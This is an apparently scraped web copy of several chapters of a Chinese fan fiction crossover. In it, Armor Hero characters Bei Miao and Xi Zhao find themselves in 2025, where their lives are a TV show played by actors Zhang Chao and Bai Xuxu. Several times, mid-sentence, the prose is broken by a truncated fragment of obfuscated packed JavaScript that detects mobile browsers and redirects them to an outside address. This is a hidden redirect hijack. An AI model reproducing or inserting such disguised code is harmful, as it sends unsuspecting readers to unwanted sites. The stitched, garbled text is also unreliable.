l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334671|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :听说你之前也拍摄过一部特摄剧,对吗?大家每次看到你都会说“爷青回”哈哈哈。 张超:对,我之前拍过《铠甲勇士》,我想很多人应该也是对我那个角色印象最深,我最近两部剧里,他们都放了这个彩蛋。(笑着做出铠甲合体的动作)雪獒铠甲、合体! 记者:这部剧可以说是大多数人的童年了,它也是你出道早期的作品。你会不会因此将它看做是“黑历史”呢? 张超:(摇摇头)不会,西钊这个角色也给了我很多启发和成长。他们每次看见我说(手往前面指)“看!是雪獒侠!”的时候,我都会觉得很开心。过年回家我还和亲戚家的孩子炫耀(抬手作耳语状,压低音量):你知道“铠甲勇士”吗,我就是里面那个雪獒侠(嘴角已经压不住骄傲又俏皮的笑)。 采访还在继续,而北淼保持坐在床上的姿势,原地宕机。遥控器从他手里滑落至地上,发出不小的声音,但完全无法盖过电视里巨大的信息量,传达到北淼脑子里。 ……冷静,北淼,冷静。 北淼还没来得及捋清现状,“启明星”只有几分钟的嘉宾互动已经结束。北淼不断在心里强迫自己稳住心态,从刚刚的访谈总结重点: 首先,在这个世界,不存在黑暗异能量、不存在光影石,《铠甲勇士》只是一部特摄电视剧;其次,张超曾作为“西钊”的饰演者参演《铠甲勇士》,由此不难推断出,虽然现今已经转职媒体行业,但柏栩栩之前应该也作为“北淼”参演过这部剧;最后,既然出现了与西钊同脸的张超,那么不排除西钊也作为“书签”来到这个世界的可能,只要相信这一点,世界就那么大,找到他只是时间问题而已。 北淼关闭电视,起身从挎包拿出重要的随身物品。他暂时不需要在室内收集更多情报,现在应该出门确认身份证件这些敏感物品在这个世界的使用机制了,毕竟,这关系到他能否在十几年间飞跃进步的城市里继续生存。 当北淼顺手摸出黑犀铠甲的召唤器时,他的动作忽然停住。他想起,在这里,他二十几年的人生只是别人眼里一个剧本中的角色,他所有的悲欢离合与喜怒哀乐也只是演员短暂而虚伪的一场拍摄。北淼并不觉得愤怒或者不适,他知道,有些东西哪怕写在文字之中、映于屏幕之上,也无法做到真正的理解和演绎。 《铠甲勇士》是假的,但他是真的。只要认定这份真实,他就不会被这世界的镜像所困扰。演员是故事的讲述者,而另一个世界的他们,是故事本身。 北淼犹豫片刻,最终还是将召唤器揣在夹克口袋里,拿上房卡、迈步出门。他想,等他了解完自己在这个世界的生存机制,也许应该找个机会,把那部《铠甲勇士》看一看。 TBC ※PS. ○注1:没有这个节目,编的。 ○注2:In the End —— Linkin Park ○注3:没有这个剧,编的。 ○前期都是北淼视角请注意。 ○从没追过星,相关专业术语是小白,对超和柏的了解也不是特别多,会尽量避免出现相关描写,请圈内人见谅。 ○可能出现因剧情需要或真不知道所以胡编乱造而与三次实际情况不相符的情况,接受不能请提前避雷。 ○标题是隐喻。梅塔特隆(Metatron)是天堂的天使之一,被称为“上帝的书记员”,负责记录人世间的所有事情。起名“梅塔特隆之书”寓意“涵盖所有平行宇宙”,毕竟,现实世界里,我们所知的角色,都由他们演绎。 44. 人生如铠甲勇士 说实话,让一个来自2025的人去适应16年前的生活或许还有些困难,但反过来却轻松很多,至少对北淼是如此。虽然科技与各类手机APP的兴起让一切便捷许多,但软件的运行肯定不能少了硬件,因此北淼需要一部新手机和新号码。 北淼纠结了一会儿是只戴口罩还是口罩帽子都戴,最后选择了前者。他不想被当成可疑分子。 测试身份证是否可用有些麻烦,所幸这个时代想要获得一个手机号需要身份证信息,这对北淼来说简直是一举两得。计划很成功,尽管地址存在差池,“张北淼”的身份在这个世界也可以使用,北淼也通过它注册了一个新手机号。 接着,北淼来到一台ATM机前,插入钱包里的所有储蓄卡进行测试。或许是某种眷顾,银行卡也能够正常使用,里面一长串的金额也原封不动地显示在屏幕上。北淼松了口气,他多少还是有些抗拒用“张北淼”的名字和“柏栩栩”的脸出去找工作的,他讨厌麻烦事。只要他不挥霍无度,这钱够他花一辈子。 保险起见,北淼将钱包中并不多的现金销毁,从ATM中取出一些作为备用,便往手机专卖店走去。 不得不说,仅仅过去16年,电子产品的先进程度就连北淼这样见过不少世面的人都为之称奇。反正钱够,比起听推销员的叨叨,他更愿意自己琢磨。于是北淼大手一挥,最高配的手机、平板、电脑、耳机、手表,甚至是无人机都整了一套。 正好这个手机专卖店开在大型商场里,北淼抬头望向这个中空的穹顶,毅然决定顺便给自己置换几套更符合这个时代的行装。很快,北淼手里的东西就多到已经快拿不下了。倒不是拿不动,是拿不下。北淼此时绕到了商场的另一头,他站在围栏旁往下望,一眼就看到一楼卖车的展位。 这次大采购肯定不会是最后一次,北淼想,东西太多来来回回也麻烦。虽然知道现在有很方便的打车软件,再不济还有出租车呢,但他能自己做的事一直都是自己做。所以……要不买个车吧,反正现在一时半会儿估计没办法回家,而且这车比他的黄色跑车更好看。 付完全款、签好购车合同、协商好提车时间,北淼在打车、公交和地铁里选择了地铁。回去路上,北淼刚计划好这几天一边熟悉街道、收集关于西钊的线索,一边把车险什么的办好,他抬眼就看到车厢显示屏上的租房广告。 要不要租个房呢?北淼不是很想一直住酒店。费用和隐私是一方面,更主要的是星级酒店的食物虽然不比外面的餐厅差,但如果有条件,北淼更愿意自己下厨。他是很有钱,不过也不至于顿顿在外面的星级餐厅享受。 北淼记下这个租房的APP时,地铁正好到站,他提起大包小包起身头也不回地下车。 其实北淼能听到,在地铁上有几个人视线都曾落在他身上,有的偷偷拍照接着在手机上疯狂打字、有的和身边的同伴窃窃私语——对听力不错的北淼来说,那几乎可以称得上大声密谋了。 “哎哎,你看,那个帅哥好像橘子哥啊。” “真的诶,是COSER吗?好想去集邮……” “北三水真是帅惨了,虽然人设崩塌,但是他和西钊的追妻火葬场我能磕一辈子呜呜呜。” “姐妹,来吃一口北三水和钟国光队长。” “……” 那时候,坐在角落里独自美丽的正主已经想提前下车了。 即使北淼早就做好这个世界会带给他很多观念冲击的准备,他千算万算也没料到会接收到这种类型的爆炸性信息。 “橘子哥”是什么东西?因为他说过“烂橘子就是烂橘子”?“考瑟”“集邮”又是什么?能不能把人名字叫对啊,是“淼(miǎo)”不是“三水”。“追妻火葬场”是什么意思,他和西钊也没去过火葬场啊,而且西钊是男的吧?哪儿来的“妻”?还有,这关钟国光什么事?钟国光又是从哪儿冒出来的?这个世界有钟国光? 终于回到酒店的北淼把东西往半边床上一扔、口罩一摘,整个人瘫在另外半边床上,回忆着那几个人的对话,大脑发光。 发觉这些问题在自己脑子里得不到答案之后,行动力满分的北淼即刻坐起来,开始捣鼓那些崭新的电子设备。毕竟,在这个时代,似乎没有什么是互联网做不到的——除了帮他找西钊。 ———— 了解和玩转全新的手机平板和电脑并没有花费北淼太多时间,他甚至还在一个视频网站(注1)上找到了柏栩栩的社交账号,但几个月都没有新动态。 他在另一个娱乐性质占比更大、明星互动也更多的社交平台(注2)上翻到了张超和柏栩栩的官方账号。 不出所料,张超是演员,动态基本都是电影和电视剧的宣发,偶尔才会有几条个人生活。虽然年龄比北淼大一轮不止,但说话风格依旧给北淼一种沉淀了岁月的柔和轻快,言行举止也不像个大人,比坤中还要调皮。 而柏栩栩……呃,北淼划拉半天,发现这个人好几年没更新动态,再往前翻基本都是对实事的评价和个人生活,十条五条不离“黑犀侠”。也不知道是不是年龄和家庭原因,他的说话风格非常“老干部”,措辞也经常带着点淡淡的官腔。 很微妙的是,北淼发现,张超常常活跃在荧幕上,却对很多年轻人的流行语一知半解,似乎整个人都投入到了演戏和音乐上,只有偶尔提到“雪獒侠”才会笑笑聊上两句;而柏栩栩虽然不怎么露面,时间都交给了家庭和媒体,但他跟得上年轻人的脚步,紧跟时事,知道大家想看什么,甚至注册了视频账号,不断用“黑犀侠”自我调侃。 真是两条看上去相似实则完全错开的人生轨迹。北淼不禁感叹,出于好奇心理,他在介绍明星的百科上翻起了两人的过去。 于是他发现,除了《铠甲勇士》之外,他们还一起参加过选秀比赛,一路过关斩将进入全国十强;后来还合作过外国知名漫画《网球王子》的两部真人电视剧,分别饰演钟国光和石毅。之后两人便没有更多交集。 好吧,网球部分猜到是电视剧了……但还是不能解释为什么要把他和钟国光凑一起啊! 北淼哀叹着关闭百科,为张超和柏栩栩分道扬镳感到遗憾的同时,也思考着他和西钊走上同样结局的可能性。 连持续十年的恩怨和掏心掏肺的噩梦都没能阻止他们在一起,北淼自然也想不到什么外界因素会让他们分开。所以比起西钊出什么事,北淼更害怕西钊突然有一天不爱他。这个人不懂爱,还在跟着北淼学,要是哪天开窍发觉“原来自己的感情早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334672|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已变淡”,没有前因后果地提出分手,那北淼无论如何都无法接受。 最痛的永远不是飞来横祸,而是两颗流星碰撞在一起、擦出灿烂的火花,大家都在按照自己的轨迹飞行,每个人都在做对的事,没有错误和争执,但是这世界上的任意两根线要么平行、没有交点;要么相交、再彼此分离。因此,待那一刻真正来临,宇宙中将没有任何一种力量能够阻止它们沿着既定的轨迹从对方的世界擦肩而过。 留在他们记忆里的,只有碰撞时那一瞬闪耀的烟火。 北淼明白自己的控制欲,他不希望西钊从他的轨迹中脱离。如果他足够坏的话,说不定会找根链子把西钊拴在家里哪儿都不让去。既然西钊是张白纸,那他随便在上面写什么都可以,就算写满他的名字也无所谓。 当然,他不会这么做。北淼转念一想,如果他没有“无论西钊的轨迹如何他都能追上”的自信,那他就连现在的西钊都抓不住。他不会放开西钊,永远都不会。 所以……张超和柏栩栩之间,有过他和西钊那种“火花”吗?北淼不禁联想。不过,看到早已结婚生子的柏栩栩,北淼很快打消了这个念头。他们大概只是两个普通人,巧合地参加了同一个选秀、巧合地合拍了两部戏,然后各奔东西。 ……哦,说起这个。 划拉手机划拉累了早就在床上躺下的北淼在想到“拍戏”时,想起他还要把《铠甲勇士》看一遍。虽然很不想承认,但他确实很好奇那些人会把他们的故事演绎成什么样子。 ———— 把电子产品和新衣服简单收拾好之后,北淼换成屏幕更大的平板,点开那个粉色的视频软件,搜索《铠甲勇士》。 ……世界真奇妙,这个主题居然能拍6部。宇宙里有那么多黑暗势力要收拾吗?地球真是个备受关注的“兵家必争之地”。 北淼在心里暗暗吐槽,将平板立在桌面。他一手给自己倒水,一手在屏幕上划拉几下。这时他的新手机响起短信提示音,北淼下意识转身去拿,余光瞄着屏幕,伸出手指随意点了一下。 结果,北淼手机的信息还没看完,平板那边就传来一个语气坚定得仿佛要入党的声音,高喊道: “腌—龙—铠—甲——!”(注3) “噗!” 北淼扭头就跟花洒似的把刚抿进嘴里的半口水喷了个干净。比起考虑“这不是炘南的声音”,他更在意“腌龙铠甲”是个什么东西。 北淼抹一把嘴,皱起眉看向屏幕,这才发现,因为视频热度排序离得太近,他刚刚误点进了“铠甲勇士花絮合集”里。 这种类型的视频还是等到他把正剧看完再说吧……他放下手机,扶了扶额头,心情复杂地退出视频,点开正确的那一个。北淼扫一眼下方的集数,居然有52集,看来今天晚上有事情做了。 北淼把凉白开换成一杯浓缩咖啡,端着平板走到床上坐下来,伸出手、双击屏幕,开始播放。 TBC ※PS. ○注1:哔哩哔哩 ○注2:微博 ○注3:详见【铠甲勇士第一部花絮合集-哔哩哔哩】开头吴建飞老师的第一句。对不起,给您磕一个orz ○我要开始一本正经搞笑了。 45. 观影 北淼在第一集的片头曲暂停了很多次。 一开始只是觉得不断从屏幕右侧飘过去的字很烦,想停下来找地方关掉,但他发现这似乎是对剧情的实时观感,也是人们如何看待剧情走向的一种直观体现。了解到这点的北淼决定留着这个叫“弹幕”的东西。 第二次暂停是片头曲介绍西钊的部分,画面正好停在西钊被绑在椅子上,有人朝他走来的场景。相关记忆很快在北淼脑海中浮现。那天,敏慈说“西钊和张健打起来了”,他们赶忙过去查看,结果现场只留下破碎的椅子和绳子、浑身湿透的西钊,以及消失的张健。也正是那天,面对怀疑,西钊仿佛自暴自弃地对他说:“随你们怎么想。” 虽然北淼后来知道张健才是叛徒,但那时候事情都乱了套,他也没细想那天究竟发生过什么。被绑在椅子上的是西钊,他为什么湿透了?被泼了水?椅子和绳子是怎么坏掉的?西钊挣脱开的吗?西钊又是怎么被抓进来的?一连串疑问如同屏幕上的弹幕滑过北淼的脑海,他知道,这些问题都会在之后的剧情里找到答案。 也许这一部拙劣的演出,真的能让他从另一个角度了解他不曾、也不愿,甚至是不敢去了解的事情吧。 北淼看了一眼“我发现大家都是帅气的镜头,只有西钊要么被电要么被绑,好惨啊”的弹幕,视线挪移,半晌才伸手双击继续播放。 ———— 其实在片头曲的时候,北淼就能感觉到不论是铠甲还是异能兽都充斥着满满的“塑料感”,对他来说并不真实,等到他看完前几集,这种感觉就更强烈了。但这并不影响观感,因为他现在开始觉得那些叫弹幕的玩意儿更能吸引他。 北淼挺早就知道炘南是大名鼎鼎的炎龙侠,不过他倒是不知道最开始连东杉自己都不知道自己是召唤人。而且拜托,丑将在锅炉厂等得黄花菜都要凉了,这家伙才想起来“启东从来不迟到”然后赶过去救人,这么迟钝的脑子难怪到现在都没追到美真…… 也不知道是不是受到弹幕的影响,本来在认真看剧情的北淼也开始跟着无声吐槽。 不过老实说,他们当时打架的时候想的只有怎么消灭黑暗势力,现在从上帝视角、配合激昂又充满斗志的音乐再去看他们战斗的画面,氛围完全不一样。炘南的拳脚也没有北淼嘴上说的那么弱,就像弹幕上说的:“说着不想过打打杀杀的生活,然后一言不合就开大,打什么都最积极”。 北淼笑了。我就说嘛,这家伙真矛盾,还没他北淼十分之一的干脆利落。意外和弹幕达成共识让北淼心情愉悦,直到他看见弹幕悠悠飘过一句“南哥对外无敌,橘子哥对内无敌”的时候,他忽然就笑不出来了。 从第二集开始跳过片头片尾和开头重复部分的北淼看得很快,他没想到坤中出场时间这么前期。而且,看第一集片头曲时他一直没明白为什么地虎侠一出现大家就在说他是“话费侠”。有人说他存在感低、作用不大,像充话费送的;也有人说是演员后来转职,去了手机营业厅工作;还有的说歌词听起来就像“充值话费地虎铠甲”,总之理由层出不穷。 坤中为什么是充话费送的他没兴趣知道,但这让北淼不禁联想,黑犀侠在他们眼里是什么定位,毕竟第一集片头曲的弹幕太过密集和统一,他还没看清就滑走了,而这也不至于让北淼退回来重新看。所以他想在自己出场的那集多看几眼弹幕,不知道那一集里导演有没有把之后他对战异能兽的部分放进去。也不是说北淼自恋,但他多少还是觉得骁勇善战的自己足够吸引人——至少比当时那个差点让小细被影界抓走、自己也被劫持的家伙好吧? 好消息是,北淼没有等太久,剧情就进展到炘南和小细在门外被抓。看着弹幕一排排的“北三水”“橘子哥”,北淼见怪不怪,但那句“东方卫视主持人下班了”让他被手里刚抿一口的咖啡呛了一下。算了算了,北淼默念,谁让柏栩栩整天拿黑犀侠自侃……他一边继续喝咖啡,一边往后看。这个时候“他”应该在开车吧,正好把车停店附近,背着包准备下车。 至于所谓的“坏消息”…… 半分钟后,随着一声北淼熟悉的“住手!”,远光灯点亮了整个画面。伴随“北淼”那逆着车灯走向炘南的自信步伐而来的,是几乎塞满半个屏幕的“逼王登场”“逼王上线”“内战幻神登场”“烂橘子上线”,先不说什么“柏栩栩:下班了,来打怪了”这类纯搞笑的,北淼都不知道为什么还有一句莫名其妙的“手冢国光!”夹在中间。看着屏幕上“帅气”起跳再落地干翻那几个小喽啰的“北淼”,北淼一时间不知道是柏栩栩演得太拽,还是那时候的他看起来就是那副大爷样,让他想给过去的自己翻个白眼。 暂停平复心情的北淼此时才仔细看屏幕上的弹幕,视线在“内战幻神”和“烂橘子”两个词上停留。 内战?他?他做什么了?……哦。北淼在夺命三连问里自己找到了答案。还能是什么?一言不合的暴脾气、行事激进又对指挥权执念、对决炘南的不公平、泼给西钊的脏水、找来一个比反派更像反派的叛徒,这么一算,他确实有那么一段时间把队伍搅得一团糟,或许,他比西钊更称得上是个“烂橘子”。 ……呸呸呸!说什么呢,什么叫“更称得上是烂橘子”?骂就骂怎么还带上西钊了,张北淼你清醒一点。 北淼叹口气放下咖啡杯,低头捏捏眉心,在脑海中回忆那时的场景,试图与画面中的自己重合。结果他一抬眼就看见“北淼”抬手把斜刘海一撩,说“你们倒霉,因为你们抓的是我妹妹”,又沉默地把眼睛闭上了。 北淼知道自己天生有一股傲气。他足够优秀、足够自信;他急功近利、嫉恶如仇;他相信弱肉强食、强者为王,因此他以绝对的实力铸造了自己的如今骄傲。但俗话说得好,“谦虚受益,满盈招损”,而北淼就是因为太过自负而吃了“满盈招损”的亏、把身边的人都坑了个遍,直到最后才醒悟。 现在通过这种演绎的形式、以及弹幕的各种评价,去回想当初自己的一言一行,他才真正从第三视角客观而理智地看待他曾经所做的一切。北淼一边在激情的战斗音乐里看“黑犀铠甲”与异能兽的打斗,一边如此想到。 和异能兽的战斗导演编排很流畅,北淼看得很过瘾——当然,那天他打得也很过瘾,而且场面比这刺激多了。北淼也很满意水面凌空一跃时呈现出的视觉效果,自己第一视角没见过,甚至都不知道制作组是怎么把这一幕拍出来的。 不过…… 随着“北淼”召唤出流星枪,战斗进入尾声,一直没怎么在战斗场面关注弹幕的北淼似乎注意到又有一批密密麻麻的相同弹幕迅速从屏幕一侧袭来。而他看着那几个字,不禁皱起眉头,身子微微前倾靠近屏幕,似乎在尝试理解他们为什么要把流星枪说成“刘醒枪”、把狂瀑扎说成“黄裤衩”,还有更离谱的“黄裤底”,也就是狂瀑顶。 北淼觉得这个形容应该是好笑的,但他也不知道自己怎么就笑不出来。他只是心情复杂底抽搐两下嘴角,感叹自己与这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334673|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个世界的“幽默感”相差甚远。 看别人讨论突然出现的神秘“黑犀侠”对北淼来说是件很有趣的事情,尽管上帝视角的观众们重点都在“北淼”和敏慈约会上。说实话,他对敏慈的态度纯粹是因为自己的绅士风度和原则问题,所以弹幕那一片绿色让他觉得有些无聊。 不过很快,镜头一切换,他的注意力马上就被球场迅速移动的两个熟悉身影吸引——坤中和西钊在打篮球。 ……咦? 没有管弹幕一排排的“西钊小天使”“我的男朋友上线”“雪獒!!”“大石”,北淼忽然发现不对。他知道坤中和西钊是球友没错,但他没想到他们两个这么早就认识。听西钊那“你人真的不错”的语气,他们好像也没有北淼想象中那么熟。 北淼本来还在想是不是这个时候影界就盯上坤中的时候,西钊一句“要不要吃烤肉去”莫名打消了北淼这个阴谋论。好家伙,你是不是来盯梢的啊,这时候还想着吃。再说了,外面的烤肉哪有我做的好。北淼没有注意到自己方才还因为“黄裤底”抽搐的嘴角已经露出了温暖的微笑。 当镜头给到西钊球场对面时,北淼的笑容忽然僵住。他看到小雪站在一辆车后,就这么安静注视着西钊,就好像某种暗示。等西钊走上前,小雪的第一句话就让北淼笑容逐渐消失。 “晒太阳,不难过吗?” 北淼忽然想起平行世界里的那个“西钊”曾说过:生于黑暗中的人,会死在温暖的阳光之下。看来,其实西钊更喜欢出门、更喜欢外面的世界,而小雪对这一切似乎表现得更为淡漠。当西钊说“我和朋友聚聚”时,北淼才意识到他们根本没把坤中当目标,坤中确实只是西钊单纯的一个球友,但好巧不巧他是地虎铠甲召唤人、是影界的敌人。当然,即便再给北淼一次机会,他依旧会在坤中说雪獒铠甲的召唤人是他球友时提出质疑和斥责,至少在那件事上,他不觉得自己有错。 如今他已经了解西钊的为人,再结合另一个“西钊”的话,站在西钊的角度想:难得的朋友实际上却是影界需要消灭的敌人,对于不愿和朋友战斗的西钊来说,得知真相的那一刻一定很痛苦。或许这也能解释为什么之后西钊有几次伤害坤中的机会都没有动手,并非影界有什么阴谋,只是西钊个人的意志。 真傻啊,尽做这些费力不讨好的事情,难道就没想过即使什么都不做也会被怀疑是某种计策吗。北淼自知理亏,却也依旧倔强地苦笑吐槽。 下一个镜头,西钊跑向坤中与他道别,中途随着与坤中的距离拉近,笑容也逐渐变得灿烂。看着弹幕里一条条刷过的“西中”“两个小天使在一起吧”“猫猫狗狗好吃”北淼咬咬后牙,心里莫名不是滋味。 西钊面对坤中时笑得很开心,北淼也不知道是因为有坤中这样一个朋友、还是因为和朋友一起打篮球,亦或者只是单纯地晒太阳——也可能都是。他的目光追随着西钊温柔的笑脸、两侧的小酒窝,以及被风吹得翘起一个小角的头发。那股堵住胸口的沉闷感越发严重,他甚至有了些烦躁的苗头。他没去想为什么,他懒得想为什么,脑子里只有西钊的脸——笑给坤中看的那张脸——以至于后面恶狼兽袭击山林里的人以及“北淼”约敏慈吃饭的部分,他基本没认真看。 都说“当局者迷,旁观者清”,观看《铠甲勇士》让北淼当了回“旁观者”,但他不知道,现在的他同样也是“当局者”。因为,如果他真“看得清”,就该闻得到空气里那股浓浓的醋味儿。 TBC 46. 我摊牌了 “对。你和我的经纪人联系一下,电话发到你的新手机上了。直接让他你去我在S市的那套公寓,之前你联系的那个朋友也会帮忙。” “……真的没关系吗,把公寓和猫都交给我照顾?” “当然没问题。我想应该没有人比我更了解你了。而且这样一来也不用麻烦我朋友上门,一举两得。啊、他们在叫我。最近拍戏忙,招待不周,你别介意。有什么不懂的尽管骚扰我的经纪人——好、马上就来!西钊,我真的要去忙了,晚点找你。” “嗯。” 西钊还没来得及说谢谢,张超就匆匆挂断了视频通话。他望着息屏显示上的“2025”,鼓起腮帮沉沉呼出一口气。 ———— 两天前。 西钊自从和北淼住在一起之后,就养成了赖床的坏习惯。以前在影界,他总是起得很早,现在不睡个舒服觉北淼都不允许他起床,甚至会用一些“特殊手段”拖延他下床的时间。因此,现在西钊已经习惯让北淼叫他起床了。 然而今天不一样。叫醒西钊的不是北淼、也不是北淼的闹铃,而是西钊自己的生物钟。对他而言,从睡眼朦胧到完全清醒只需要短短几秒,敏锐如他很快察觉到这里的异常:这不是他们住的房间、地上没有他们的行李、床头柜只有房卡、书桌上放着他的手机和钱包,以及最重要的一点——北淼不见了。 西钊第一反应是他们遭遇了劫匪、或者是某种恶劣的玩笑。担心这种“游戏”会危及到北淼的生命安全,他一边翻找房间内的其他物品,一边给北淼打电话。而听筒中传来的“暂时无法接通”和抽屉里一张印着“D市五星酒店”的名片,让西钊手里的动作缓缓停下。 如果他们没有前两次平行世界的经历,西钊或许会认为他们被一个很有背景的组织迷晕、从G市带到D市,利用他们策划什么阴谋。但以西钊之前的经验来看,这很有可能又是一次没有前因后果的时空旅行。 当西钊在检查手机使用情况时看到日期上显示着“2025”,而非“2009”,他便真正确定了这个猜想。 不过,西钊不像北淼那样考虑周全,在被催着上户口之前他都没用过银行卡和身份证,所以他想到的只有确认自己和北淼的情况,并收集这个世界的信息。人类世界对他来说本就不如北淼他们那样熟悉,因此适应一个16年后的社会不比刚脱离影界的他适应那时的世界难多少。 西钊本来还在猜测自己在这个世界是什么身份和角色,结果他拿着房卡刚出酒店没几步路,就远远听见有几个人看着他小声尖叫。 “你看,那是不是你推?演雪獒侠那个!” “啊啊啊啊!真的是!!超哥不是在B市拍戏吗?什么时候过来的??群里完全没消息啊!天哪啊啊啊啊这还是西钊的妆造,绝对是为新剧在做准备吧!!” “诶诶你冷静你冷静人家看过来了!!!” “他看我了!我此生无憾了姐妹呜呜……” 不远处的转角,西钊困惑地微微眯起眼睛,歪了歪脑袋。雪獒侠?他被认出来了?过了这么多年铠甲勇士难道还在活动吗?也不对,那个女生用的措辞是“演”,这是什么意思?还有“拍戏”“妆造”也让西钊一头雾水。最重要的是,她们似乎把自己认成了另一个别名“超哥”的人。那又是谁? 西钊一边想着,一边在转角几步路的小饭馆坐下——他饿了,顺便看看北淼给的银行卡能不能用。点好菜等待的间隙,西钊注意到对面那两个女生也挪到了他隔壁几桌。她们看起来像是在互相聊天,实际上目光全都聚焦在西钊身上,让他好不适应。不过反过来想,说不定能在她们的窃窃私语里拿到一些情报。西钊如此考虑着,抬头对上菜的服务员温柔致谢。 隔壁的小女生也点了几个小菜,但她们埋下身,几乎要让碟子遮住她们整个脑袋。西钊甚至都不需要用余光往那边瞥,就知道她们在用比自己先进不少的手机拍他的照片。 “诶诶,别光顾着拍照啊,群里怎么说?” “咦,不对啊。我姐说超哥在B市,刚补完新剧的几个镜头,趁这个空档正在接受采访。” “不会吧?我知道你姐在超哥手底下工作,但你也知道我看人——尤其是男人——特别准,就算只露出个刘海也能认出来。虽然他不是我推,但我的眼睛至今还没出错过呢。” “那恭喜你,吃了第一笔败仗。喏,我把他的照片发群里了,我姐反手甩我一张带着时间戳的路透,就在前五分钟!你自己看看,照片里是不是超哥?” “我去,这不可能。难道是出仿妆?还是COSER?那这也太像了,你看这样子明明是素颜啊,那假毛跟真的一样。” “等等等等,你看这里,左手、无名指、戒指!!!超哥还没到这一步吧?不然女友粉早炸了。” “诶诶诶你别动,放大我看看……我勒个去,你对准戒指再拍个清楚一点的!!” “啊?你看见啥了?” “你看这个纹路,是你磕的那对CP其中一个吧,叫什么来着?北三水?” “啊啊啊啊啊啊啊是黑犀的纹路!!我的天妈妈我磕到真的了!!!烂橘子和大狗狗给我锁死!!!” “嘘——!!!你太大声了!!人家往这里看了!快吃饭、快吃饭!” 出于某些考虑没有大快朵颐而是斯文用餐的西钊终于还是没忍住,在把桌上一盘辣椒炒肉解决干净之后慢慢转头看向那两个埋头吃饭欲盖弥彰的女生。 这番对话下来,情报没得到多少,问题反而变得更多了。那个“超哥”应该和石毅一样,和自己有着相同的外貌,但与之前不同,在这里他们竟然同时存在,而目前西钊在D市,“超哥”在B市。抛开他听不懂的专业名词不谈,西钊发现不论是铠甲勇士召唤人的身份还是自己和北淼的关系,在这里好像并不是一个秘密。虽不清楚是不是“人尽皆知”,但这依然让习惯低调的西钊有些不自在。 在西钊思考这些时,他已经默默吃光了桌上的一盘清蒸鱼,完整干净的鱼骨头仿佛漂白过的标本,和同色的碟子融为一体。西钊把筷子伸向另一碟番茄炒蛋,旁边的对话似乎因为他收回视线而小声继续。 “我说,既然不是本人,要不要去勾搭一下?说不定是你同好呢。” “我才不要!万一认错怎么办?” “我赌你一个月的谷美他绝对是圈里人。哪有一个男的圈外人在左手无名指戴铠甲勇士花纹戒指的?那可是象征已婚人士的左手无名指诶!” “可、可是……” “要真是个巧合,就单纯跟帅哥合个影呗,再不济就当《重生之我在异世界撞见雪獒侠》这种狗血小说看嘛,来走走走走。” “诶诶你别拽我!我去还不行吗……” 西钊的筷子离开番茄炒蛋的空碟,向红烧肉进发时,两个女生情理之外意料之中地来到西钊旁边。西钊放下筷子、擦干净手,抬头微微勾起嘴角,礼貌笑着与她们对视。 “帅哥你好,我朋友想问你看不看《铠甲勇士》,她喜欢里面的雪獒侠,想跟你合影。” 西钊在脑海里迅速回忆她们之前的对话,思考如何回应。他忽然意识到,有时候,只要他足够幸运,事情其实并没有那么复杂。 西钊邀请两人在对面入座,随即从钱包里拿出身份证放在桌面,朝二人缓缓推过去。 “你们好,我是秦西钊。” ———— “……你是说,你就是《铠甲勇士》里的雪獒侠、穿越到平行世界遇到另一个‘黑犀侠’、回来之后跟真正的黑犀侠确认关系、去度蜜月的过程中又穿越到《网球王子》里当石毅、现在又莫名其妙穿越到了这里??” “好酷啊!” 西钊无声点点头,而梳理情况的女生在桌子底下踹了同伴一脚,随即在她耳边小声说道:“这么离谱你都信啊!反诈宣传白看了你。这种话随便找个同人文写手都写得出来!” “那怎么……” “我能听到。”西钊的声音把对面两个人吓得肩膀一耸,即使声线温和,也依然让西钊听上去有一种隐现的锋芒之感,“没关系,我能理解。那这样吧,你们就当这是一场、角色扮演。而我是来自异世界的西钊。我有些关于‘铠甲勇士’的问题,希望两位能帮我解答。如何?” “诶,试试嘛,说不定人家是那种COSER自媒体,戴着摄像头拍视频呢。我钱都给超哥了,谁还能骗到我啊?” 似乎并不追星的那个女生看看用手肘不停戳她的同伴,又抬头看看表情始终平和的西钊,点头道:“那你问吧。” 从这两人口中,西钊了解到,这个世界的《铠甲勇士》只是一部特摄剧,《网球王子》也是根据国外热门漫画改编。他们的人生在这里仅仅是演员的一本台词。除此之外,《铠甲勇士》拍摄于2009年,也就是西钊所在的年代。某种意义上说,西钊确实来到了未来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334674|199228||http|test|mini|href|location''.split(''|''),0,{})); () { 